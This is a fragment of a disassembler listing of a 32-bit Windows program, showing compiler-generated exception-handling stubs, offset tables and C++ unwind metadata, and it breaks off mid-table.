XREF: ___:0044304Co lea ecx, [ebp+8] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-1A0h] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42C350 proc near ; DATA XREF: sub_42C350+2o mov eax, offset dword_443020 jmp sub_437AB8 SEH_42C350 endp ; --------------------------------------------------------------------------- db 18h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8 jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42C530 proc near ; DATA XREF: sub_42C530+2o mov eax, offset dword_443060 jmp sub_437AB8 SEH_42C530 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_4017A8 ; --------------------------------------------------------------------------- loc_43CF38: ; DATA XREF: ___:0042C5D2o mov eax, offset dword_443090 jmp sub_437AB8 ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_4017A8 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42C770 proc near ; DATA XREF: sub_42C770+2o mov eax, offset dword_4430C0 jmp sub_437AB8 SEH_42C770 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_4017A8 ; --------------------------------------------------------------------------- mov eax, offset dword_4430F0 jmp sub_437AB8 ; --------------------------------------------------------------------------- align 10h mov eax, [ebp-30h] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42CB70 proc near ; DATA XREF: sub_42CB70+8o mov eax, offset dword_443120 jmp sub_437AB8 SEH_42CB70 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42CE60 proc near ; DATA XREF: sub_42CE60+2o mov eax, offset dword_443150 jmp sub_437AB8 SEH_42CE60 endp ; --------------------------------------------------------------------------- db 16h dup(0CCh) ; --------------------------------------------------------------------------- mov eax, [ebp+4] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp+4] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp+4] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp+4] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-74h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-70h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43D0B4: ; DATA XREF: ___:0042D158o mov eax, offset dword_4431A8 jmp sub_437AB8 ; --------------------------------------------------------------------------- db 32h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_435AA0 proc near ; DATA XREF: sub_435AA0+2o mov eax, offset dword_443290 jmp sub_437AB8 SEH_435AA0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-168Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43D11B: ; DATA XREF: ___:004432F4o lea ecx, [ebp-16A4h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43D126: ; DATA XREF: ___:00435B98o mov eax, offset dword_4432C8 jmp sub_437AB8 ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4364D0 proc near ; DATA XREF: sub_4364D0+2o mov eax, offset dword_443300 jmp sub_437AB8 SEH_4364D0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4368D0 proc near ; DATA XREF: sub_4368D0+2o mov eax, offset dword_443330 jmp sub_437AB8 SEH_4368D0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4369E0 proc near ; DATA XREF: sub_4369E0+8o mov eax, offset dword_443368 jmp sub_437AB8 SEH_4369E0 endp ; --------------------------------------------------------------------------- db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '' db '',0 dd 317h dup(0) off_43F000 dd offset sub_4017D0 ; DATA XREF: sub_403700+3FEo off_43F004 dd offset byte_437AC0 ; DATA XREF: sub_403C30+2o off_43F008 dd offset off_402027 ; DATA XREF: sub_406BF0+2o sub_406C50o off_43F00C dd offset sub_40221B ; DATA XREF: ___:004070C5o off_43F010 dd offset loc_40218F ; DATA XREF: sub_409BB0+4o ; sub_409C10+Bo ... off_43F014 dd offset loc_402045 ; DATA XREF: sub_40AE90+2o ; sub_40AEE0+1Co dd offset byte_437AC0 align 10h off_43F020 dd offset loc_401AE1 ; DATA XREF: ___:0040B1E8o ; sub_40B240+1Eo flt_43F024 dd 1.0 ; DATA XREF: ___:0040B896r off_43F028 dd offset sub_401A4B ; DATA XREF: sub_40F6C0+157o ; sub_412860+1Do dd offset sub_402149 dd 0 off_43F034 dd offset sub_401ACD ; DATA XREF: sub_40F6C0+142o ; sub_412860+23o off_43F038 dd offset loc_40115E ; DATA XREF: sub_412A20+36o ; sub_412AD0+1Do dd offset loc_402004 dd 0 off_43F044 dd offset sub_4014C9 ; DATA XREF: ___:0041324Do ; sub_4132E0+1Fo dd offset sub_401D0C align 10h off_43F050 dd offset loc_4014AB ; DATA XREF: sub_417B80+68o off_43F054 dd offset sub_401064 ; DATA XREF: sub_417C20+8Bo off_43F058 dd offset sub_40138E ; DATA XREF: sub_417CF0+74o off_43F05C dd offset sub_4019CE ; DATA XREF: sub_417DB0+8o ; sub_418AD0+6o dd offset sub_4020C7 align 8 off_43F068 dd offset loc_401CAD ; DATA XREF: sub_417DE0+8o ; sub_418B30+6o dd offset sub_401230 dd 0 off_43F074 dd offset loc_401B81 ; DATA XREF: sub_417E10+7Bo off_43F078 dd offset loc_40204A ; DATA XREF: sub_417ED0+7Bo off_43F07C dd offset loc_401F3C ; DATA XREF: sub_417F90+3Eo off_43F080 dd offset sub_401FE1 ; DATA XREF: sub_418010+8o off_43F084 dd offset loc_401FF5 ; DATA XREF: sub_418040+3Eo off_43F088 dd offset sub_401E6A ; DATA XREF: sub_4180C0+3Eo off_43F08C dd offset loc_40100A ; DATA XREF: sub_418140+10o off_43F090 dd offset loc_4010B4 ; DATA XREF: sub_418170+4Bo off_43F094 dd offset sub_401BB8 ; DATA XREF: sub_4181F0+10o off_43F098 dd offset sub_40171C ; DATA XREF: sub_418220+10o off_43F09C dd offset sub_40161D ; DATA XREF: sub_418250+6Bo off_43F0A0 dd offset loc_401929 ; DATA XREF: sub_418B90o sub_41FBD0+8o dd offset sub_401CF3 dd 0 off_43F0AC dd offset sub_40111D ; DATA XREF: sub_418BE0o ; sub_4191A0+36o dbl_43F0B0 dq -3.0517578125e-5 ; DATA XREF: sub_4199C0+22r dd 0 off_43F0BC dd offset sub_401B09 ; DATA XREF: sub_41A110+Bo ; sub_41A210+6o off_43F0C0 dd offset sub_401E92 ; DATA XREF: sub_41B0B0+Do sub_41B110o off_43F0C4 dd offset sub_401406 ; DATA XREF: ___:0041B472o ; ___:0041B55Do dd offset sub_401686 align 10h off_43F0D0 dd offset loc_4019F6 ; DATA XREF: sub_41D770+77o ; sub_4218A0+1Do dd offset sub_401C94 dd 0 off_43F0DC dd offset sub_4011FE ; DATA XREF: sub_427740+32o dd offset sub_401A78 dd offset sub_401A50 dd 0 off_43F0EC dd offset loc_4016DB ; DATA XREF: sub_427B00+6Ao ; sub_427BA0+1Do dd offset sub_401A78 dd offset byte_437AC0 dd 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_10. PRESS KEYPAD "+" TO EXPAND] db 1Ah, 40h, 0 dd offset sub_401A78 dd offset sub_401366 dd 0 off_43F10C dd offset sub_40182A ; DATA XREF: sub_4281A0+32o dd offset sub_401A78 dd offset sub_401EB0 dd 0 off_43F11C dd offset sub_40224D ; DATA XREF: sub_428880+32o dd offset sub_401A78 dd offset sub_401A14 dd 0 off_43F12C dd offset sub_401C3F ; DATA XREF: sub_4290B0+32o ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 21h, 40h, 0 dd offset sub_4015B9 dd 0 off_43F13C dd offset loc_402086 ; DATA XREF: sub_429290+7Ao ; sub_429350+1Do ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 21h, 40h, 0 dd offset byte_437AC0 dd 0 off_43F14C dd offset sub_4021D5 ; DATA XREF: sub_429450+4Bo ; sub_42AF10+10o ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 21h, 40h, 0 dd offset loc_401D3E dd 0 off_43F15C dd offset loc_40112C ; DATA XREF: sub_42AC10+32o ; sub_42AFB0+9o ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 21h, 40h, 0 dd offset sub_40137A dd 0 off_43F16C dd offset loc_401B18 ; DATA XREF: sub_42AFF0+32o ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 21h, 40h, 0 dd offset sub_4010AF dd 0 off_43F17C dd offset sub_4017B2 ; DATA XREF: sub_42B380+32o ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 21h, 40h, 0 dd offset sub_40189D dd 0 off_43F18C dd offset sub_4020EF ; DATA XREF: sub_42C4C0+27o dword_43F190 dd 0 dd 8, 0 off_43F19C dd offset byte_437AC0 ; DATA XREF: sub_42C530+39o off_43F1A0 dd offset sub_401F5F ; DATA XREF: ___:0042C602o ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 21h, 40h, 0 dd offset loc_40134D align 10h off_43F1B0 dd offset sub_401B36 ; DATA XREF: sub_42C770+32o ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 21h, 40h, 0 dd offset sub_401537 align 10h dd offset loc_4015FA ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 21h, 40h, 0 dd offset sub_4019F1 align 10h dd offset dword_43F348 off_43F1D4 dd offset dword_437AF0+11h ; DATA XREF: ___:off_444890o ; ___:off_4448B0o ... dd 0FFFFFFFFh, 437E9Ch, 437EB0h, 4Dh dup(0) off_43F318 dd offset off_448C90 ; DATA XREF: ___:0043F330o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_43F318 dd 0 db 0 ; DATA XREF: ___:0043F358o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 1, 43F330h dword_43F348 dd 3 dup(0) dd offset off_448C90 dd offset unk_43F338 dd 45h dup(0) dword_43F470 dd 19930520h, 5, 43F490h, 5 dup(0) dd 0FFFFFFFFh, 438E1Ch, 0 dd offset dword_4382C8+0B28h dd 1, 438DFBh, 2, 438E06h, 3, 438E11h, 2 dup(0) dword_43F4C0 dd 19930520h, 3Dh, 43F4E0h, 5 dup(0) dd 0FFFFFFFFh, 438E60h, 0 dd offset loc_438E6B dd 1, 438E76h, 2, 438E84h, 3, 438E92h, 4, 438EA0h, 5, 438EAEh dd 6, 438EBCh, 7, 438ECAh, 8, 438ED8h, 9, 438EE6h, 0Ah dd 438EF4h, 0Bh, 438F02h, 0Ch, 438F10h, 0Dh, 438F1Eh, 0Eh dd 438F2Ch, 0Fh, 438F3Ah, 10h, 438F48h, 11h, 438F56h, 12h dd 438F64h, 13h, 438F72h, 14h, 438F80h, 15h, 438F8Eh, 16h dd 438F9Ch, 17h, 438FAAh, 18h, 438FB8h, 19h, 438FC6h, 1Ah dd 438FD4h, 1Bh, 438FE2h, 1Ch, 438FF0h, 1Dh, 438FFEh, 1Eh dd 43900Ch, 1Fh, 43901Ah, 20h, 439028h, 21h, 439036h, 22h dd 439044h, 23h, 439052h, 24h, 439060h, 25h, 43906Eh, 26h dd 43907Ch, 27h, 43908Ah, 28h, 439098h, 29h, 4390A6h, 2Ah dd 4390B4h, 2Bh, 4390C2h, 2Ch, 4390D0h, 2Dh, 4390DEh, 2Eh dd 4390ECh, 2Fh, 4390FAh, 30h, 439108h, 31h, 439116h, 32h dd 439124h, 33h, 439132h, 34h, 439140h, 35h, 43914Eh, 36h dd 43915Ch, 37h, 43916Ah, 38h, 439178h, 39h, 439186h, 3Ah dd 439194h, 3Bh, 4391A2h, 0Eh dup(0) dword_43F700 dd 19930520h, 2, 43F720h, 5 dup(0) dd 0FFFFFFFFh, 439290h, 0 dd offset loc_439298 dd 2 dup(0) dword_43F738 dd 19930520h, 2, 43F758h, 5 dup(0) dd 0FFFFFFFFh, 4392C0h, 0 dd offset loc_4392C8 align 10h dword_43F770 dd 19930520h, 1, 43F790h, 5 dup(0) dd 0FFFFFFFFh, 4392F0h, 2 dup(0) dword_43F7A0 dd 19930520h, 7, 43F7C0h, 5 dup(0) dd 0FFFFFFFFh, 439310h, 0 dd offset loc_439318 dd 1, 439323h, 2, 439331h, 3, 43933Fh, 4, 43934Dh, 5, 43935Bh dd 2 dup(0) dword_43F800 dd 19930520h, 7, 43F820h, 5 dup(0) dd 0FFFFFFFFh, 439390h, 0 dd offset loc_439398 dd 1, 4393A3h, 2, 4393B1h, 3, 4393BFh, 4, 4393CDh, 5, 4393DBh dd 2 dup(0) dword_43F860 dd 19930520h, 11h, 43F880h, 5 dup(0) dd 0FFFFFFFFh, 439410h, 0FFFFFFFFh, 439418h, 0FFFFFFFFh dd 439420h, 0FFFFFFFFh, 439428h, 0FFFFFFFFh, 439430h, 0FFFFFFFFh dd 439438h, 0FFFFFFFFh, 439440h, 0FFFFFFFFh, 439448h, 0FFFFFFFFh dd 439450h, 0FFFFFFFFh, 439458h, 0FFFFFFFFh, 439460h, 0FFFFFFFFh dd 439468h, 0FFFFFFFFh, 439470h, 0FFFFFFFFh, 439478h, 0FFFFFFFFh dd 439480h, 0Eh, 439488h, 0Eh, 439490h, 4 dup(0) dword_43F918 dd 19930520h, 0Bh, 43F938h, 5 dup(0) dd 0FFFFFFFFh, 4394D0h, 0 ; --------------------------------------------------------------------------- fcom dword ptr [ebx+eax*2-100h] jmp eax ; --------------------------------------------------------------------------- db 94h, 43h, 0 dd 2, 4394E8h, 0FFFFFFFFh, 4394F0h, 0FFFFFFFFh, 4394F8h dd 0FFFFFFFFh, 439500h, 0FFFFFFFFh, 439508h, 7, 439513h dd 7, 43951Bh, 9, 439523h, 4 dup(0) dword_43F9A0 dd 19930520h, 31h, 43F9C0h, 5 dup(0) dd 0FFFFFFFFh, 439550h, 0 dd offset loc_43955B dd 0 dd offset loc_439566 dd 0FFFFFFFFh, 439571h, 0FFFFFFFFh, 43957Ch, 4, 439587h dd 0FFFFFFFFh, 439592h, 6, 43959Dh, 6, 4395A8h, 8, 4395B3h dd 0FFFFFFFFh, 4395BEh, 0Ah, 4395C9h, 0Ah, 4395D4h, 0Ah dd 4395DFh, 0Ah, 4395EAh, 0Ah, 4395F5h, 0Ah, 439600h, 0FFFFFFFFh dd 43960Bh, 11h, 439616h, 11h, 439621h, 0FFFFFFFFh, 43962Ch dd 0FFFFFFFFh, 439637h, 15h, 439642h, 0FFFFFFFFh, 43964Dh dd 0FFFFFFFFh, 439658h, 18h, 439663h, 0FFFFFFFFh, 43966Eh dd 0FFFFFFFFh, 439679h, 0FFFFFFFFh, 439684h, 0FFFFFFFFh dd 43968Fh, 1Dh, 43969Ah, 1Dh, 4396A5h, 1Dh, 4396B0h, 1Dh dd 4396BBh, 1Dh, 4396C6h, 22h, 4396D1h, 22h, 4396DCh, 22h dd 4396E7h, 22h, 4396F2h, 22h, 4396FDh, 22h, 439708h, 22h dd 439713h, 22h, 43971Eh, 22h, 439729h, 22h, 439734h, 22h dd 43973Fh, 22h, 43974Ah, 22h, 439755h, 22h, 439760h, 0Ch dup(0) dword_43FB78 dd 19930520h, 2, 43FB98h, 5 dup(0) dd 0FFFFFFFFh, 439808h, 0 dd offset loc_439800 align 10h dword_43FBB0 dd 19930520h, 2, 43FBD0h, 5 dup(0) dd 0FFFFFFFFh, 43984Bh, 0 dd offset loc_439840 dd 2 dup(0) dword_43FBE8 dd 19930520h, 1, 43FC08h, 5 dup(0) dd 0FFFFFFFFh, 439880h, 2 dup(0) dword_43FC18 dd 19930520h, 3, 43FC38h, 5 dup(0) dd 0FFFFFFFFh, 4398A0h, 0 dd offset loc_4398AB dd 0 dd offset loc_4398B6 dd 2 dup(0) dword_43FC58 dd 19930520h, 1, 43FC78h, 5 dup(0) dd 0FFFFFFFFh, 4398E0h, 2 dup(0) dword_43FC88 dd 19930520h, 1, 43FCA8h, 5 dup(0) dd 0FFFFFFFFh, 439900h, 2 dup(0) dword_43FCB8 dd 19930520h, 2, 43FCD8h, 5 dup(0) dd 0FFFFFFFFh, 439920h, 0 dd offset loc_439928 align 10h dword_43FCF0 dd 19930520h, 57h, 43FD10h, 5 dup(0) dd 0FFFFFFFFh, 439940h, 0 dd offset loc_43994B dd 1, 439956h, 2, 439961h, 3, 43996Ch, 4, 439977h, 5, 439982h dd 6, 43998Dh, 7, 439998h, 8, 4399A3h, 9, 4399ABh, 0Ah dd 4399B3h, 0Bh, 4399BEh, 0Ch, 4399C6h, 0Dh, 4399CEh, 0Eh dd 4399D9h, 0Fh, 4399E4h, 10h, 4399EFh, 11h, 4399FAh, 12h dd 439A05h, 13h, 439A10h, 14h, 439A1Bh, 15h, 439A26h, 16h dd 439A31h, 17h, 439A3Ch, 18h, 439A47h, 19h, 439A52h, 1Ah dd 439A5Dh, 1Bh, 439A68h, 1Ch, 439A73h, 1Dh, 439A7Eh, 1Eh dd 439A89h, 1Eh, 439A94h, 1Eh, 439A9Fh, 1Eh, 439AAAh, 1Eh dd 439AB5h, 1Eh, 439AC0h, 1Eh, 439ACBh, 1Eh, 439AD6h, 1Eh dd 439AE1h, 1Eh, 439AECh, 28h, 439AF7h, 1Eh, 439AF7h, 1Eh dd 439B02h, 2Bh, 439B0Dh, 1Eh, 439B0Dh, 1Eh, 439B18h, 2Eh dd 439B23h, 1Eh, 439B23h, 1Eh, 439B2Eh, 31h, 439B39h, 1Eh dd 439B39h, 1Eh, 439B44h, 34h, 439B4Fh, 1Eh, 439B4Fh, 1Eh dd 439B5Ah, 37h, 439B65h, 1Eh, 439B65h, 1Eh, 439B70h, 3Ah dd 439B7Bh, 1Eh, 439B7Bh, 1Eh, 439B86h, 3Dh, 439B91h, 1Eh dd 439B91h, 1Eh, 439B9Ch, 40h, 439BA7h, 1Eh, 439BA7h, 1Eh dd 439BB2h, 43h, 439BBDh, 1Eh, 439BBDh, 1Eh, 439BC8h, 46h dd 439BD3h, 1Eh, 439BD3h, 1Eh, 439BDEh, 49h, 439BE9h, 1Eh dd 439BE9h, 1Eh, 439BF4h, 4Ch, 439BFFh, 1Eh, 439BFFh, 1Eh dd 439C0Ah, 4Fh, 439C15h, 1Eh, 439C15h, 1Eh, 439C20h, 52h dd 439C2Bh, 53h, 439C36h, 54h, 439C41h, 55h, 439C4Ch, 13h dup(0) dd offset off_444890 dd 0 dd 0FFFFFFFFh, 0 dd 0Ch, 437AF0h, 2 dup(0) dd offset off_4448B0 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 437F1Ah, 2 dup(0) dd offset off_4448D8 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 437F20h, 0 dword_440070 dd 3, 440050h, 440030h, 440010h, 2 dup(0)dword_440088 dd 0 ; ___:0040AA67o dd offset dword_437D54+1D2h dd 0 dd offset dword_440070 align 10h dword_4400A0 dd 19930520h, 1, 4400C0h, 5 dup(0) dd 0FFFFFFFFh, 439D30h, 2 dup(0) dword_4400D0 dd 19930520h, 1, 4400F0h, 5 dup(0) dd 0FFFFFFFFh, 439D50h, 2 dup(0) dword_440100 dd 19930520h, 3, 440120h, 5 dup(0) dd 0FFFFFFFFh, 439D70h, 0 dd offset loc_439D87 dd 1, 439D8Fh, 2 dup(0) dword_440140 dd 19930520h, 1, 440160h, 5 dup(0) dd 0FFFFFFFFh, 439DB0h, 2 dup(0) dword_440170 dd 19930520h, 2, 440190h, 1, 4401A0h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 4401B8h, 4 dup(0) dd offset sub_40AF22 align 10h dword_4401D0 dd 19930520h, 2, 4401F0h, 1, 440200h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 440218h, 4 dup(0) dd offset sub_40B0A1 align 10h dword_440230 dd 19930520h, 4, 440250h, 5 dup(0) dd 0FFFFFFFFh, 439DF0h, 0 dd offset loc_439DFB dd 1, 439E06h, 2, 439E11h, 2 dup(0) dword_440278 dd 19930520h, 4, 440298h, 5 dup(0) dd 0FFFFFFFFh, 439E40h, 0 dd offset loc_439E4B dd 1, 439E56h, 2, 439E61h, 2 dup(0) dword_4402C0 dd 19930520h, 3, 4402E0h, 5 dup(0) dd 0FFFFFFFFh, 439E90h, 0FFFFFFFFh, 439E98h, 0FFFFFFFFh dd 439EA0h, 2 dup(0) dword_440300 dd 19930520h, 3, 440320h, 5 dup(0) dd 0FFFFFFFFh, 439EC0h, 0 dd offset loc_439EC8 dd 1, 439ED0h, 2 dup(0) dword_440340 dd 19930520h, 1, 440360h, 5 dup(0) dd 0FFFFFFFFh, 439EF0h, 2 dup(0) dword_440370 dd 19930520h, 4, 440390h, 5 dup(0) dd 0FFFFFFFFh, 439F10h, 0FFFFFFFFh, 439F18h, 0FFFFFFFFh dd 439F20h, 2, 439F28h, 2 dup(0) dword_4403B8 dd 19930520h, 1, 4403D8h, 5 dup(0) dd 0FFFFFFFFh, 439F50h, 2 dup(0) dword_4403E8 dd 19930520h, 4, 440408h, 5 dup(0) dd 0FFFFFFFFh, 439F70h, 0 dd offset loc_439F7B dd 0 dd offset loc_439F86 dd 2, 439F91h, 2 dup(0) dword_440430 dd 19930520h, 1, 440450h, 5 dup(0) dd 0FFFFFFFFh, 439FC0h, 2 dup(0) dword_440460 dd 19930520h, 5, 440480h, 5 dup(0) dd 0FFFFFFFFh, 439FE0h, 0 dd offset loc_439FEB dd 0 dd offset loc_439FF6 dd 0 dd offset loc_43A001 dd 0 dd offset loc_43A00C align 10h dword_4404B0 dd 19930520h, 2, 4404D0h, 5 dup(0) dd 0FFFFFFFFh, 43A040h, 0 dd offset loc_43A04B dd 2 dup(0) dword_4404E8 dd 19930520h, 2, 440508h, 5 dup(0) dd 0FFFFFFFFh, 43A070h, 0 dd offset loc_43A07B align 10h dword_440520 dd 19930520h, 4, 440540h, 5 dup(0) dd 0FFFFFFFFh, 43A0A0h, 0FFFFFFFFh, 43A0A8h, 0FFFFFFFFh dd 43A0B0h, 0FFFFFFFFh, 43A0B8h, 2 dup(0) dword_440568 dd 19930520h, 8, 440588h, 5 dup(0) dd 0FFFFFFFFh, 43A0E0h, 0 dd offset loc_43A0EB dd 1, 43A0F6h, 1, 43A101h, 1, 43A10Ch, 1, 43A117h, 1, 43A122h dd 1, 43A12Dh, 4 dup(0) dword_4405D8 dd 19930520h, 0Dh, 4405F8h, 5 dup(0) dd 0FFFFFFFFh, 43A160h, 0FFFFFFFFh, 43A16Bh, 1, 43A176h dd 2, 43A181h, 3, 43A18Ch, 4, 43A197h, 5, 43A1A2h, 6, 43A1ADh dd 7, 43A1B8h, 8, 43A1C3h, 9, 43A1CEh, 0Ah, 43A1D9h, 0Bh dd 43A1E4h, 4 dup(0) dword_440670 dd 19930520h, 6, 440690h, 5 dup(0) dd 0FFFFFFFFh, 43A220h, 0 dd offset loc_43A228 dd 1, 43A230h, 2, 43A238h, 2, 43A240h, 2, 43A248h, 2 dup(0) dword_4406C8 dd 19930520h, 6, 4406E8h, 5 dup(0) dd 0FFFFFFFFh, 43A270h, 0 dd offset loc_43A278 dd 1, 43A280h, 2, 43A288h, 2, 43A290h, 2, 43A298h, 2 dup(0) dword_440720 dd 19930520h, 3, 440740h, 5 dup(0) dd 0FFFFFFFFh, 43A2C0h, 0 dd offset loc_43A2C8 dd 1, 43A2D0h, 2 dup(0) dword_440760 dd 19930520h, 1, 440780h, 5 dup(0) dd 0FFFFFFFFh, 43A2F0h, 2 dup(0) dword_440790 dd 19930520h, 7, 4407B0h, 5 dup(0) dd 0FFFFFFFFh, 43A310h, 0 dd offset loc_43A318 dd 0FFFFFFFFh, 43A320h, 0FFFFFFFFh, 43A328h, 3, 43A330h dd 4, 43A338h, 0FFFFFFFFh, 43A340h, 2 dup(0) dword_4407F0 dd 19930520h, 24h, 440810h, 5 dup(0) dd 0FFFFFFFFh, 43A370h, 0 dd offset loc_43A378 dd 1, 43A383h, 2, 43A38Eh, 3, 43A399h, 4, 43A3A7h, 5, 43A3B5h dd 6, 43A3C3h, 7, 43A3D1h, 8, 43A3DFh, 9, 43A3EDh, 0Ah dd 43A3FBh, 0Bh, 43A409h, 0Ch, 43A417h, 0Dh, 43A425h, 0Eh dd 43A433h, 0Fh, 43A441h, 10h, 43A44Fh, 11h, 43A45Dh, 11h dd 43A465h, 11h, 43A46Dh, 11h, 43A475h, 11h, 43A47Dh, 11h dd 43A485h, 11h, 43A48Dh, 11h, 43A495h, 11h, 43A49Dh, 11h dd 43A4A5h, 11h, 43A4ADh, 11h, 43A4B5h, 11h, 43A4BDh, 11h dd 43A4C5h, 11h, 43A4CDh, 11h, 43A4D5h, 11h, 43A4DDh, 11h dd 43A4E5h, 8 dup(0) dword_440950 dd 19930520h, 38h, 440970h, 5 dup(0) dd 0FFFFFFFFh, 43A560h, 0 dd offset loc_43A56B dd 1, 43A576h, 0 dd offset loc_43A581 dd 0 dd offset loc_43A58C dd 0 dd offset loc_43A597 dd 0 dd offset loc_43A5A2 dd 0 dd offset loc_43A5AD dd 0 dd offset loc_43A5B8 dd 0 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 0A5h, 43h, 0 dd 9, 43A5CEh, 0 dd offset loc_43A5D9 dd 0 dd offset loc_43A5E4 dd 0 dd offset loc_43A5EF dd 0 dd offset loc_43A5FA dd 0Eh, 43A605h, 0Eh, 43A613h, 0Eh, 43A621h, 0Eh, 43A62Ch dd 0Eh, 43A63Ah, 0Eh, 43A648h, 0Eh, 43A653h, 0Eh, 43A65Eh dd 0 dd offset loc_43A669 dd 0 dd offset loc_43A674 dd 0 dd offset loc_43A682 dd 0 dd offset loc_43A690 dd 1Ah, 43A69Bh, 1Bh, 43A6A6h, 0 dd offset loc_43A6B1 dd 1Dh, 43A6BCh, 0 dd offset loc_43A6C7 dd 1Fh, 43A6D2h, 0 dd offset loc_43A6DD dd 0 dd offset loc_43A6E8 dd 0 dd offset loc_43A6F3 dd 0 dd offset 